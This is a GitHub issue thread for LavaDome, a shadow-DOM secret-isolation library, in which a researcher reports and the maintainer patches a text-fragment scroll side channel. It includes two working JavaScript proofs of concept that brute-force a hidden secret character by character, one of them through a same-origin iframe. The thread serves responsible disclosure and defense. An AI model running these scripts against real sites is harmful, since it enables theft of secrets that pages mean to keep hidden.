LavaMoat / LavaDome

Secure DOM trees isolation and encapsulation leveraging ShadowDOM
https://lavamoat.github.io/LavaDome/packages/core/demo/
MIT License
16 stars 3 forks source link

LavaDome bypass via text fragments #35

Open masatokinugawa opened 2 months ago

masatokinugawa commented 2 months ago

I noticed that the text in the closed shadow can be leaked by detecting the scroll caused by text fragments.

weizman commented 2 months ago

This one is WILD. Really cool. Will have to think about this one.

Any ideas for how to defend against this one? @masatokinugawa @lbherrera

masatokinugawa commented 2 months ago

Hmm, how about placing an SVG image containing the secret inside the closed shadow? like <img src="data:image/svg+xml;base64,..."> . This way will prevent window.find() trick (#15) also.

weizman commented 2 months ago

SVG was considered originally for obvious reasons, but is currently rejected for making UI/UX integration far harder (as in, natural adaptation of style of the page becomes unnatural).

Not saying SVG is a hard-pass, but I would want to consider other options before defaulting to SVG.

weizman commented 2 months ago

Thinking out loud here:

What if I integrated something similar to this:

navigation.addEventListener("navigate", (event) => {
    if (event.destination.url.includes('#:~:')) {
        event.preventDefault();
    }
});

Would this be "bypassable" IYO? Because this does prevent the current version of your bypass @masatokinugawa

masatokinugawa commented 2 months ago

It looks like we can put any string between # and :~:, so this still works:

document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
  for (let j = 0; j < secretChars.length; j++) {
    location=`https://lavamoat.github.io/LavaDome/packages/core/demo/#foo:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
    await sleep(100); // Need to bypass Chrome's hang protection
    if (window.scrollY !== 0) {
      foundChars += secretChars[j];
      console.log(foundChars);
      window.scroll(0, 0);
      break;
    }
  }
}
weizman commented 2 months ago

I'm less worried about that because that's addressable with more resilient identification of such URL search fragments. What I'm worried about is whether there's a core issue with this approach that can be bypassed completely (assuming we find a resilient way to tell a redirect to a "#:~:" is happening)

weizman commented 2 months ago

Here's a more stable version of what I had in mind with an explanation additionally https://github.com/LavaMoat/LavaDome/pull/38 @masatokinugawa

masatokinugawa commented 2 months ago

I can't think of the bypass, at least for now. It looks good.

masatokinugawa commented 2 months ago

I found that this can be bypassed by copying the element to another iframe (or window).

const iframe = document.createElement('iframe');
iframe.src = "404";//arbitrary same-origin page
iframe.onload = async function() {
  iframe.onload = null;
  const iframeWindow = iframe.contentWindow;
  const secretElement = PRIVATE.parentNode;
  iframeWindow.document.body.appendChild(secretElement);
  iframeWindow.scroll(0, 0);
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  const secretChars = "0123456789abcdef";
  const secretLength = 32;
  let foundChars = "";
  for (let i = 0; i < secretLength; i++) {
    for (let j = 0; j < secretChars.length; j++) {
      iframe.src = `404#:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
      await sleep(100); // Need to bypass Chrome's hang protection
      if (iframeWindow.scrollY !== 0) {
        foundChars += secretChars[j];
        console.log(foundChars);
        iframeWindow.scroll(0, 0);
        break;
      }
    }
  }
}
document.body.appendChild(iframe);

It is similar to #39 in that it abuses another window but the crucial difference from #39 is that the leaked data is a secret included in the main realm, not in the child. Like #39, this seems like a difficult problem to solve, but I wrote it down just in case.

weizman commented 2 months ago

Super helpful.

Makes me realize I should probably teach the LavaDome instance to bail when is being attached to a realm that isn't the top.

weizman commented 1 month ago

35 should be addressed entirely by the combo of #38 and #42